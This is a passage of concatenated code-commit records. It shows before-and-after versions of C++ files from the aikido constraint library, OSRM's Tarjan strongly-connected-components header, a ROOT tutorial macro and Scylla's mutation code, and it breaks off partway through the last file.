= createProjectableBounds(std::move(subspace));\n constraints.emplace_back(constraint.release());\n }\n\n \/\/ TODO: Apply a separate constraint to each dimension.\n\n throw std::runtime_error(\"not implemented\");\n}\n\n\/\/=============================================================================\nstd::unique_ptr<TestableConstraint> createTestableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace)\n{\n return detail::ForOneOf<\n detail::createTestableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<TestableConstraint> createTestableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton)\n{\n const auto n = _metaSkeleton->getNumStates();\n\n std::vector<std::shared_ptr<TestableConstraint>> constraints;\n constraints.reserve(n);\n\n for (size_t i = 0; i < n; ++i)\n {\n auto subspace = _metaSkeleton->getSubSpace<statespace::JointStateSpace>(i);\n auto constraint = createTestableBounds(std::move(subspace));\n constraints.emplace_back(constraint.release());\n }\n\n \/\/ TODO: Apply a separate constraint to each dimension.\n\n throw std::runtime_error(\"not implemented\");\n}\n\n\/\/=============================================================================\nstd::unique_ptr<SampleableConstraint> createSampleableBounds(\n std::shared_ptr<statespace::JointStateSpace> _stateSpace,\n std::unique_ptr<util::RNG> _rng)\n{\n return detail::ForOneOf<\n detail::createSampleableFor_impl,\n statespace::JointStateSpace,\n detail::JointStateSpaceTypeList\n >::create(std::move(_stateSpace), std::move(_rng));\n}\n\n\/\/=============================================================================\nstd::unique_ptr<SampleableConstraint> createSampleableBounds(\n statespace::MetaSkeletonStateSpacePtr _metaSkeleton,\n std::unique_ptr<util::RNG> _rng)\n{\n \/\/ TODO: Create N random number generators.\n throw std::runtime_error(\"not implemented\");\n}\n\n} \/\/ namespace constraint\n} \/\/ namespace aikido\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2014, Project OSRM, Dennis Luxen, others\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TINY_COMPONENTS_HPP\n#define TINY_COMPONENTS_HPP\n\n#include \"..\/typedefs.h\"\n#include \"..\/data_structures\/deallocating_vector.hpp\"\n#include \"..\/data_structures\/import_edge.hpp\"\n#include \"..\/data_structures\/query_node.hpp\"\n#include \"..\/data_structures\/percent.hpp\"\n#include \"..\/data_structures\/restriction.hpp\"\n#include \"..\/data_structures\/restriction_map.hpp\"\n#include \"..\/data_structures\/turn_instructions.hpp\"\n\n#include \"..\/Util\/integer_range.hpp\"\n#include \"..\/Util\/OSRMException.h\"\n#include \"..\/Util\/simple_logger.hpp\"\n#include \"..\/Util\/std_hash.hpp\"\n#include \"..\/Util\/timing_util.hpp\"\n\n#include <osrm\/Coordinate.h>\n\n#include <boost\/assert.hpp>\n\n#include <tbb\/parallel_sort.h>\n\n\n#include <cstdint>\n\n#include <memory>\n#include <stack>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\ntemplate <typename GraphT>\nclass TarjanSCC\n{\n struct TarjanStackFrame\n {\n explicit TarjanStackFrame(NodeID v, NodeID parent) : v(v), parent(parent) {}\n NodeID v;\n NodeID parent;\n };\n\n struct TarjanNode\n {\n TarjanNode() : index(SPECIAL_NODEID), low_link(SPECIAL_NODEID), on_stack(false) {}\n unsigned index;\n unsigned low_link;\n bool on_stack;\n };\n\n std::vector<unsigned> components_index;\n std::vector<NodeID> component_size_vector;\n std::shared_ptr<GraphT> m_node_based_graph;\n std::unordered_set<NodeID> barrier_node_set;\n RestrictionMap m_restriction_map;\n unsigned size_one_counter;\n\n public:\n template<class ContainerT>\n TarjanSCC(std::shared_ptr<GraphT> graph,\n const RestrictionMap &restrictions,\n const ContainerT &barrier_node_list)\n : components_index(graph->GetNumberOfNodes(), SPECIAL_NODEID),\n m_node_based_graph(graph), m_restriction_map(restrictions),\n size_one_counter(0)\n {\n barrier_node_set.insert(std::begin(barrier_node_list), std::end(barrier_node_list));\n BOOST_ASSERT(m_node_based_graph->GetNumberOfNodes() > 0);\n }\n\n void run()\n {\n TIMER_START(SCC_RUN);\n \/\/ The following is a hack to distinguish between stuff that happens\n \/\/ before the recursive call and stuff that happens after\n std::stack<TarjanStackFrame> recursion_stack;\n \/\/ true = stuff before, false = stuff after call\n std::stack<NodeID> tarjan_stack;\n std::vector<TarjanNode> tarjan_node_list(m_node_based_graph->GetNumberOfNodes());\n unsigned component_index = 0, size_of_current_component = 0;\n int index = 0;\n const NodeID last_node = m_node_based_graph->GetNumberOfNodes();\n std::vector<bool> processing_node_before_recursion(m_node_based_graph->GetNumberOfNodes(), true);\n for(const NodeID node : osrm::irange(0u, last_node))\n {\n if (SPECIAL_NODEID == components_index[node])\n {\n recursion_stack.emplace(TarjanStackFrame(node, node));\n }\n\n while (!recursion_stack.empty())\n {\n TarjanStackFrame currentFrame = recursion_stack.top();\n const NodeID u = currentFrame.parent;\n const NodeID v = currentFrame.v;\n recursion_stack.pop();\n\n const bool before_recursion = processing_node_before_recursion[v];\n\n if (before_recursion && tarjan_node_list[v].index != UINT_MAX)\n {\n continue;\n }\n\n if (before_recursion)\n {\n \/\/ Mark frame to handle tail of recursion\n recursion_stack.emplace(currentFrame);\n processing_node_before_recursion[v] = false;\n\n \/\/ Mark essential information for SCC\n tarjan_node_list[v].index = index;\n tarjan_node_list[v].low_link = index;\n tarjan_stack.push(v);\n tarjan_node_list[v].on_stack = true;\n ++index;\n\n \/\/ Traverse outgoing edges\n if (barrier_node_set.find(v) != barrier_node_set.end())\n {\n continue;\n }\n\n const NodeID to_node_of_only_restriction =\n m_restriction_map.CheckForEmanatingIsOnlyTurn(u, v);\n\n for (const auto current_edge : m_node_based_graph->GetAdjacentEdgeRange(v))\n {\n const auto vprime = m_node_based_graph->GetTarget(current_edge);\n if (to_node_of_only_restriction != std::numeric_limits<unsigned>::max() &&\n vprime == to_node_of_only_restriction)\n {\n \/\/ At an only_-restriction but not at the right turn\n \/\/ continue;\n }\n\n if (m_restriction_map.CheckIfTurnIsRestricted(u, v, vprime))\n {\n \/\/ continue;\n }\n\n if (SPECIAL_NODEID == tarjan_node_list[vprime].index)\n {\n recursion_stack.emplace(TarjanStackFrame(vprime, v));\n }\n else\n {\n if (tarjan_node_list[vprime].on_stack &&\n tarjan_node_list[vprime].index < tarjan_node_list[v].low_link)\n {\n tarjan_node_list[v].low_link = tarjan_node_list[vprime].index;\n }\n }\n }\n }\n else\n {\n processing_node_before_recursion[v] = true;\n tarjan_node_list[currentFrame.parent].low_link =\n std::min(tarjan_node_list[currentFrame.parent].low_link,\n tarjan_node_list[v].low_link);\n \/\/ after recursion, lets do cycle checking\n \/\/ Check if we found a cycle. This is the bottom part of the recursion\n if (tarjan_node_list[v].low_link == tarjan_node_list[v].index)\n {\n NodeID vprime;\n do\n {\n vprime = tarjan_stack.top();\n tarjan_stack.pop();\n tarjan_node_list[vprime].on_stack = false;\n components_index[vprime] = component_index;\n ++size_of_current_component;\n } while (v != vprime);\n\n component_size_vector.emplace_back(size_of_current_component);\n\n if (size_of_current_component > 1000)\n {\n SimpleLogger().Write() << \"large component [\" << component_index\n << \"]=\" << size_of_current_component;\n }\n\n ++component_index;\n size_of_current_component = 0;\n }\n }\n }\n }\n\n TIMER_STOP(SCC_RUN);\n SimpleLogger().Write() << \"SCC run took: \" << TIMER_MSEC(SCC_RUN)\/1000. << \"s\";\n SimpleLogger().Write() << \"identified: \" << component_size_vector.size() << \" many components\";\n\n\n size_one_counter = std::count_if(component_size_vector.begin(),\n component_size_vector.end(),\n [](unsigned value)\n {\n return 1 == value;\n });\n\n SimpleLogger().Write() << \"identified \" << size_one_counter << \" SCCs of size 1\";\n\n }\n\n std::size_t get_number_of_components() const\n {\n return component_size_vector.size();\n }\n\n\n unsigned get_component_size(const NodeID node) const\n {\n return component_size_vector[components_index[node]];\n }\n};\n\n#endif \/* TINY_COMPONENTS_HPP *\/\n<commit_msg>move SCC stats output out of algo implementation<commit_after>\/*\n\nCopyright (c) 2014, Project OSRM, Dennis Luxen, others\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TINY_COMPONENTS_HPP\n#define TINY_COMPONENTS_HPP\n\n#include \"..\/typedefs.h\"\n#include \"..\/data_structures\/deallocating_vector.hpp\"\n#include \"..\/data_structures\/import_edge.hpp\"\n#include \"..\/data_structures\/query_node.hpp\"\n#include \"..\/data_structures\/percent.hpp\"\n#include \"..\/data_structures\/restriction.hpp\"\n#include \"..\/data_structures\/restriction_map.hpp\"\n#include \"..\/data_structures\/turn_instructions.hpp\"\n\n#include \"..\/Util\/integer_range.hpp\"\n#include \"..\/Util\/OSRMException.h\"\n#include \"..\/Util\/simple_logger.hpp\"\n#include \"..\/Util\/std_hash.hpp\"\n#include \"..\/Util\/timing_util.hpp\"\n\n#include <osrm\/Coordinate.h>\n\n#include <boost\/assert.hpp>\n\n#include <tbb\/parallel_sort.h>\n\n\n#include <cstdint>\n\n#include <memory>\n#include <stack>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\ntemplate <typename GraphT>\nclass TarjanSCC\n{\n struct TarjanStackFrame\n {\n explicit TarjanStackFrame(NodeID v, NodeID parent) : v(v), parent(parent) {}\n NodeID v;\n NodeID parent;\n };\n\n struct TarjanNode\n {\n TarjanNode() : index(SPECIAL_NODEID), low_link(SPECIAL_NODEID), on_stack(false) {}\n unsigned index;\n unsigned low_link;\n bool on_stack;\n };\n\n std::vector<unsigned> components_index;\n std::vector<NodeID> component_size_vector;\n std::shared_ptr<GraphT> m_node_based_graph;\n std::unordered_set<NodeID> barrier_node_set;\n RestrictionMap m_restriction_map;\n unsigned size_one_counter;\n\n public:\n template<class ContainerT>\n TarjanSCC(std::shared_ptr<GraphT> graph,\n const RestrictionMap &restrictions,\n const ContainerT &barrier_node_list)\n : components_index(graph->GetNumberOfNodes(), SPECIAL_NODEID),\n m_node_based_graph(graph), m_restriction_map(restrictions),\n size_one_counter(0)\n {\n barrier_node_set.insert(std::begin(barrier_node_list), std::end(barrier_node_list));\n BOOST_ASSERT(m_node_based_graph->GetNumberOfNodes() > 0);\n }\n\n void run()\n {\n TIMER_START(SCC_RUN);\n \/\/ The following is a hack to distinguish between stuff that happens\n \/\/ before the recursive call and stuff that happens after\n std::stack<TarjanStackFrame> recursion_stack;\n \/\/ true = stuff before, false = stuff after call\n std::stack<NodeID> tarjan_stack;\n std::vector<TarjanNode> tarjan_node_list(m_node_based_graph->GetNumberOfNodes());\n unsigned component_index = 0, size_of_current_component = 0;\n int index = 0;\n const NodeID last_node = m_node_based_graph->GetNumberOfNodes();\n std::vector<bool> processing_node_before_recursion(m_node_based_graph->GetNumberOfNodes(), true);\n for(const NodeID node : osrm::irange(0u, last_node))\n {\n if (SPECIAL_NODEID == components_index[node])\n {\n recursion_stack.emplace(TarjanStackFrame(node, node));\n }\n\n while (!recursion_stack.empty())\n {\n TarjanStackFrame currentFrame = recursion_stack.top();\n const NodeID u = currentFrame.parent;\n const NodeID v = currentFrame.v;\n recursion_stack.pop();\n\n const bool before_recursion = processing_node_before_recursion[v];\n\n if (before_recursion && tarjan_node_list[v].index != UINT_MAX)\n {\n continue;\n }\n\n if (before_recursion)\n {\n \/\/ Mark frame to handle tail of recursion\n recursion_stack.emplace(currentFrame);\n processing_node_before_recursion[v] = false;\n\n \/\/ Mark essential information for SCC\n tarjan_node_list[v].index = index;\n tarjan_node_list[v].low_link = index;\n tarjan_stack.push(v);\n tarjan_node_list[v].on_stack = true;\n ++index;\n\n \/\/ Traverse outgoing edges\n if (barrier_node_set.find(v) != barrier_node_set.end())\n {\n continue;\n }\n\n const NodeID to_node_of_only_restriction =\n m_restriction_map.CheckForEmanatingIsOnlyTurn(u, v);\n\n for (const auto current_edge : m_node_based_graph->GetAdjacentEdgeRange(v))\n {\n const auto vprime = m_node_based_graph->GetTarget(current_edge);\n if (to_node_of_only_restriction != std::numeric_limits<unsigned>::max() &&\n vprime == to_node_of_only_restriction)\n {\n \/\/ At an only_-restriction but not at the right turn\n \/\/ continue;\n }\n\n if (m_restriction_map.CheckIfTurnIsRestricted(u, v, vprime))\n {\n \/\/ continue;\n }\n\n if (SPECIAL_NODEID == tarjan_node_list[vprime].index)\n {\n recursion_stack.emplace(TarjanStackFrame(vprime, v));\n }\n else\n {\n if (tarjan_node_list[vprime].on_stack &&\n tarjan_node_list[vprime].index < tarjan_node_list[v].low_link)\n {\n tarjan_node_list[v].low_link = tarjan_node_list[vprime].index;\n }\n }\n }\n }\n else\n {\n processing_node_before_recursion[v] = true;\n tarjan_node_list[currentFrame.parent].low_link =\n std::min(tarjan_node_list[currentFrame.parent].low_link,\n tarjan_node_list[v].low_link);\n \/\/ after recursion, lets do cycle checking\n \/\/ Check if we found a cycle. This is the bottom part of the recursion\n if (tarjan_node_list[v].low_link == tarjan_node_list[v].index)\n {\n NodeID vprime;\n do\n {\n vprime = tarjan_stack.top();\n tarjan_stack.pop();\n tarjan_node_list[vprime].on_stack = false;\n components_index[vprime] = component_index;\n ++size_of_current_component;\n } while (v != vprime);\n\n component_size_vector.emplace_back(size_of_current_component);\n\n if (size_of_current_component > 1000)\n {\n SimpleLogger().Write() << \"large component [\" << component_index\n << \"]=\" << size_of_current_component;\n }\n\n ++component_index;\n size_of_current_component = 0;\n }\n }\n }\n }\n\n TIMER_STOP(SCC_RUN);\n SimpleLogger().Write() << \"SCC run took: \" << TIMER_MSEC(SCC_RUN)\/1000. << \"s\";\n\n size_one_counter = std::count_if(component_size_vector.begin(),\n component_size_vector.end(),\n [](unsigned value)\n {\n return 1 == value;\n });\n }\n\n std::size_t get_number_of_components() const\n {\n return component_size_vector.size();\n }\n\n unsigned get_size_one_count() const \n {\n return size_one_counter;\n }\n\n unsigned get_component_size(const NodeID node) const\n {\n return component_size_vector[components_index[node]];\n }\n};\n\n#endif \/* TINY_COMPONENTS_HPP *\/\n<|endoftext|>"} {"text":"<commit_before>void loopdir() {\n \/\/ example of script to loop on all the objects of a ROOT file directory\n \/\/ and print on Postscript all TH1 derived objects\n \/\/ This script uses the file generated by tutorial hsimple.C\n \/\/Author: Rene Brun\n \n TString dir = gSystem->UnixPathName(gInterpreter->GetCurrentMacroName());\n dir.ReplaceAll(\"loopdir.C\",\"..\/hsimple.C\");\n dir.ReplaceAll(\"\/.\/\",\"\/\");\n if (!gInterpreter->IsLoaded(dir.Data())) gInterpreter->LoadMacro(dir.Data());\n TFile *f1 = (TFile*)gROOT->ProcessLineFast(\"hsimple(1)\");\n TIter next(f1->GetListOfKeys());\n TKey *key;\n TCanvas c1;\n c1.Print(\"hsimple.ps[\");\n while ((key = (TKey*)next())) {\n TClass *cl = gROOT->GetClass(key->GetClassName());\n if (!cl->InheritsFrom(\"TH1\")) continue;\n TH1 *h = (TH1*)key->ReadObj();\n h->Draw();\n c1.Print(\"hsimple.ps\");\n }\n c1.Print(\"hsimple.ps]\");\n}\n \n<commit_msg>Do not trigger the creation of hsimple.root, which may create clashes when running in parallel.<commit_after>void loopdir() {\n \/\/ example of script to loop on all the objects of a ROOT file directory\n \/\/ and print on Postscript all TH1 derived objects\n \/\/ This script uses the file generated by tutorial hsimple.C\n \/\/Author: Rene Brun\n \n TFile *f1 = TFile::Open(\"hsimple.root\");\n TIter next(f1->GetListOfKeys());\n TKey *key;\n TCanvas c1;\n c1.Print(\"hsimple.ps[\");\n while ((key = (TKey*)next())) {\n TClass *cl = gROOT->GetClass(key->GetClassName());\n if (!cl->InheritsFrom(\"TH1\")) continue;\n TH1 *h = (TH1*)key->ReadObj();\n h->Draw();\n c1.Print(\"hsimple.ps\");\n }\n c1.Print(\"hsimple.ps]\");\n}\n \n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2014 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"mutation.hh\"\n#include \"query-result-writer.hh\"\n\nmutation::data::data(dht::decorated_key&& key, schema_ptr&& schema)\n : _schema(std::move(schema))\n , _dk(std::move(key))\n , _p(_schema)\n{ }\n\nmutation::data::data(partition_key&& key_, schema_ptr&& schema)\n : _schema(std::move(schema))\n , _dk(dht::global_partitioner().decorate_key(*_schema, std::move(key_)))\n , _p(_schema)\n{ }\n\nmutation::data::data(schema_ptr&& schema, dht::decorated_key&& key, const mutation_partition& mp)\n : _schema(std::move(schema))\n , _dk(std::move(key))\n , _p(mp)\n{ }\n\nmutation::data::data(schema_ptr&& schema, dht::decorated_key&& key, mutation_partition&& mp)\n : _schema(std::move(schema))\n , _dk(std::move(key))\n , _p(std::move(mp))\n{ }\n\nvoid mutation::set_static_cell(const column_definition& def, atomic_cell_or_collection&& value) {\n partition().static_row().apply(def, std::move(value));\n}\n\nvoid mutation::set_static_cell(const bytes& name, const data_value& value, api::timestamp_type timestamp, ttl_opt ttl) {\n auto column_def = schema()->get_column_definition(name);\n if (!column_def) {\n throw std::runtime_error(sprint(\"no column definition found for '%s'\", name));\n }\n if (!column_def->is_static()) {\n throw std::runtime_error(sprint(\"column '%s' is not static\", name));\n }\n partition().static_row().apply(*column_def, atomic_cell::make_live(timestamp, column_def->type->decompose(value), ttl));\n}\n\nvoid mutation::set_clustered_cell(const exploded_clustering_prefix& prefix, const column_definition& def, atomic_cell_or_collection&& value) {\n auto& row = partition().clustered_row(clustering_key::from_clustering_prefix(*schema(), prefix)).cells();\n row.apply(def, std::move(value));\n}\n\nvoid mutation::set_clustered_cell(const clustering_key& key, const bytes& name, const data_value& value,\n api::timestamp_type timestamp, ttl_opt ttl) {\n auto column_def = schema()->get_column_definition(name);\n if (!column_def) {\n throw std::runtime_error(sprint(\"no column definition found for '%s'\", name));\n }\n return set_clustered_cell(key, *column_def, atomic_cell::make_live(timestamp, column_def->type->decompose(value), ttl));\n}\n\nvoid mutation::set_clustered_cell(const clustering_key& key, const column_definition& def, atomic_cell_or_collection&& value) {\n auto& row = partition().clustered_row(key).cells();\n row.apply(def, std::move(value));\n}\n\nvoid mutation::set_cell(const exploded_clustering_prefix& prefix, const bytes& name, const data_value& value,\n api::timestamp_type timestamp, ttl_opt ttl) {\n auto column_def = schema()->get_column_definition(name);\n if (!column_def) {\n throw std::runtime_error(sprint(\"no column definition found for '%s'\", name));\n }\n return set_cell(prefix, *column_def, atomic_cell::make_live(timestamp, column_def->type->decompose(value), ttl));\n}\n\nvoid mutation::set_cell(const exploded_clustering_prefix& prefix, const column_definition& def, atomic_cell_or_collection&& value) {\n if (def.is_static()) {\n set_static_cell(def, std::move(value));\n } else if (def.is_regular()) {\n set_clustered_cell(prefix, def, std::move(value));\n } else {\n throw std::runtime_error(\"attemting to store into a key cell\");\n }\n}\n\nstd::experimental::optional<atomic_cell_or_collection>\nmutation::get_cell(const clustering_key& rkey, const column_definition& def) const {\n if (def.is_static()) {\n const atomic_cell_or_collection* cell = partition().static_row().find_cell(def.id);\n if (!cell) {\n return {};\n }\n return { *cell };\n } else {\n const row* r = partition().find_row(rkey);\n if (!r) {\n return {};\n }\n const atomic_cell_or_collection* cell = r->find_cell(def.id);\n return { *cell };\n }\n}\n\nbool mutation::operator==(const mutation& m) const {\n return decorated_key().equal(*schema(), m.decorated_key())\n && partition().equal(*schema(), m.partition(), *m.schema());\n}\n\nbool mutation::operator!=(const mutation& m) const {\n return !(*this == m);\n}\n\nvoid\nmutation::query(query::result::builder& builder,\n const query::partition_slice& slice,\n gc_clock::time_point now,\n uint32_t row_limit) &&\n{\n auto pb = builder.add_partition(*schema(), key());\n auto is_reversed = slice.options.contains<query::partition_slice::option::reversed>();\n mutation_partition& p = partition();\n auto limit = std::min(row_limit, slice.partition_row_limit());\n p.compact_for_query(*schema(), now, slice.row_ranges(*schema(), key()), is_reversed, limit);\n p.query_compacted(pb, *schema(), limit);\n}\n\nquery::result\nmutation::query(const query::partition_slice& slice,\n query::result_request request,\n gc_clock::time_point now, uint32_t row_limit) &&\n{\n query::result::builder builder(slice, request);\n std::move(*this).query(builder, slice, now, row_limit);\n return builder.build();\n}\n\nquery::result\nmutation::query(const query::partition_slice& slice,\n query::result_request request,\n gc_clock::time_point now, uint32_t row_limit) const&\n{\n return mutation(*this).query(slice, request, now, row_limit);\n}\n\nsize_t\nmutation::live_row_count(gc_clock::time_point query_time) const {\n return partition().live_row_count(*schema(), query_time);\n}\n\nbool\nmutation_decorated_key_less_comparator::operator()(const mutation& m1, const mutation& m2) const {\n return m1.decorated_key().less_compare(*m1.schema(), m2.decorated_key());\n}\n\nboost::iterator_range<std::vector<mutation>::const_iterator>\nslice(const std::vector<mutation>& partitions, const query::partition_range& r) {\n struct cmp {\n bool operator()(const dht::ring_position& pos, const mutation& m) const {\n return m.decorated_key().tri_compare(*m.schema(), pos) > 0;\n };\n bool operator()(const mutation& m, const dht::ring_position& pos) const {\n return m.decorated_key().tri_compare(*m.schema(), pos) < 0;\n };\n };\n\n return boost::make_iterator_range(\n r.start()\n ? (r.start()->is_inclusive()\n ? std::lower_bound(partitions.begin(), partitions.end(), r.start()->value(), cmp())\n : std::upper_bound(partitions.begin(), partitions.end(), r.start()->value(), cmp()))\n : partitions.cbegin(),\n r.end()\n ? (r.end()->is_inclusive()\n ? std::upper_bound(partitions.begin(), partitions.end(), r.end()->value(), cmp())\n : std::lower_bound(partitions.begin(), partitions.end(), r.end()->value(), cmp()))\n : partitions.cend());\n}\n\nvoid\nmutation::upgrade(const schema_ptr& new_schema) {\n if (_ptr->_schema != new_schema) {\n schema_ptr s = new_schema;\n partition().upgrade(*schema(), *new_schema);\n _ptr->_schema = std::move(s);\n }\n}\n\nvoid mutation::apply(mutation&& m) {\n partition().apply(*schema(), std::move(m.partition()), *m.schema());\n}\n\nvoid mutation::apply(const mutation& m) {\n partition().apply(*schema(), m.partition(), *m.schema());\n}\n\nmutation& mutation::operator=(const mutation& m) {\n return *this = mutation(m);\n}\n\nmutation mutation::operator+(const mutation& other) const {\n auto m = *this;\n m.apply(other);\n return m;\n}\n\nmutation& mutation::operator+=(const mutation& other) {\n apply(other);\n return *this;\n}\n\nmutation& mutation::operator+=(mutation&& other) {\n apply(std::move(other));\n return *this;\n}\n\nenum class limit_mutation_size { yes, no };\n\ntemplate <limit_mutation_size with_limit>\nclass mutation_rebuilder {\n mutation _m;\n streamed_mutation& _sm;\n size_t _remaining_limit;\n\n template <typename T> bool check_remaining_limit(const T& e) {\n if (with_limit == limit_mutation_size::no) {\n return true;\n }\n size_t size = sizeof(e) + e.external_memory_usage();\n if (_remaining_limit <= size) {\n _remaining_limit = 0;\n } else {\n _remaining_limit -= size;\n }\n return _remaining_limit > 0;\n }\npublic:\n mutation_rebuilder(streamed_mutation& sm)\n : _m(sm.decorated_key(), sm.schema()), _sm(sm), _remaining_limit(0) {\n static_assert(with_limit == limit_mutation_size::no,\n \"This constructor should be used only for mutation_rebuildeer with no limit\");\n }\n mutation_rebuilder(streamed_mutation& sm, size_t limit)\n : _m(sm.decorated_key(), sm.schema()), _sm(sm), _remaining_limit(limit) {\n static_assert(with_limit == limit_mutation_size::yes,\n \"This constructor should be used only for mutation_rebuildeer with limit\");\n check_remaining_limit(_m.key());\n }\n\n stop_iteration consume(tombstone t) {\n _m.partition().apply(t);\n return stop_iteration::no;\n }\n\n stop_iteration consume(range_tombstone&& rt) {\n if (!check_remaining_limit(rt)) {\n return stop_iteration::yes;\n }\n _m.partition().apply_row_tombstone(*_m.schema(), std::move(rt));\n return stop_iteration::no;\n }\n\n stop_iteration consume(static_row&& sr) {\n if (!check_remaining_limit(sr)) {\n return stop_iteration::yes;\n }\n _m.partition().static_row().apply(*_m.schema(), column_kind::static_column, std::move(sr.cells()));\n return stop_iteration::no;\n }\n\n stop_iteration consume(clustering_row&& cr) {\n if (!check_remaining_limit(cr)) {\n return stop_iteration::yes;\n }\n auto& dr = _m.partition().clustered_row(std::move(cr.key()));\n dr.apply(cr.tomb());\n dr.apply(cr.marker());\n dr.cells().apply(*_m.schema(), column_kind::regular_column, std::move(cr.cells()));\n return stop_iteration::no;\n }\n\n mutation_opt consume_end_of_stream() {\n return with_limit == limit_mutation_size::yes && _remaining_limit == 0 ? mutation_opt()\n : mutation_opt(std::move(_m));\n }\n};\n\nfuture<mutation_opt>\nmutation_from_streamed_mutation_with_limit(streamed_mutation sm, size_t limit) {\n return do_with(std::move(sm), [limit] (auto& sm) {\n return consume(sm, mutation_rebuilder<limit_mutation_size::yes>(sm, limit));\n });\n}\n\nfuture<mutation_opt> mutation_from_streamed_mutation(streamed_mutation_opt sm) {\n if (!sm) {\n return make_ready_future<mutation_opt>();\n }\n return do_with(std::move(*sm), [] (auto& sm) {\n return consume(sm, mutation_rebuilder<limit_mutation_size::no>(sm));\n });\n}\n\n<commit_msg>mutation_rebuilder: use memory_usage()<commit_after>\/*\n * Copyright (C) 2014 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"mutation.hh\"\n#include \"query-result-writer.hh\"\n\nmutation::data::data(dht::decorated_key&& key, schema_ptr&& schema)\n : _schema(std::move(schema))\n , _dk(std::move(key))\n , _p(_schema)\n{ }\n\nmutation::data::data(partition_key&& key_, schema_ptr&& schema)\n : _schema(std::move(schema))\n , _dk(dht::global_partitioner().decorate_key(*_schema, std::move(key_)))\n , _p(_schema)\n{ }\n\nmutation::data::data(schema_ptr&& schema, dht::decorated_key&& key, const mutation_partition& mp)\n : _schema(std::move(schema))\n , _dk(std::move(key))\n , _p(mp)\n{ }\n\nmutation::data::data(schema_ptr&& schema, dht::decorated_key&& key, mutation_partition&& mp)\n : _schema(std::move(schema))\n , _dk(std::move(key))\n , _p(std::move(mp))\n{ }\n\nvoid mutation::set_static_cell(const column_definition& def, atomic_cell_or_collection&& value) {\n partition().static_row().apply(def, std::move(value));\n}\n\nvoid mutation::set_static_cell(const bytes& name, const data_value& value, api::timestamp_type timestamp, ttl_opt ttl) {\n auto column_def = schema()->get_column_definition(name);\n if (!column_def) {\n throw std::runtime_error(sprint(\"no column definition found for '%s'\", name));\n }\n if (!column_def->is_static()) {\n throw std::runtime_error(sprint(\"column '%s' is not static\", name));\n }\n 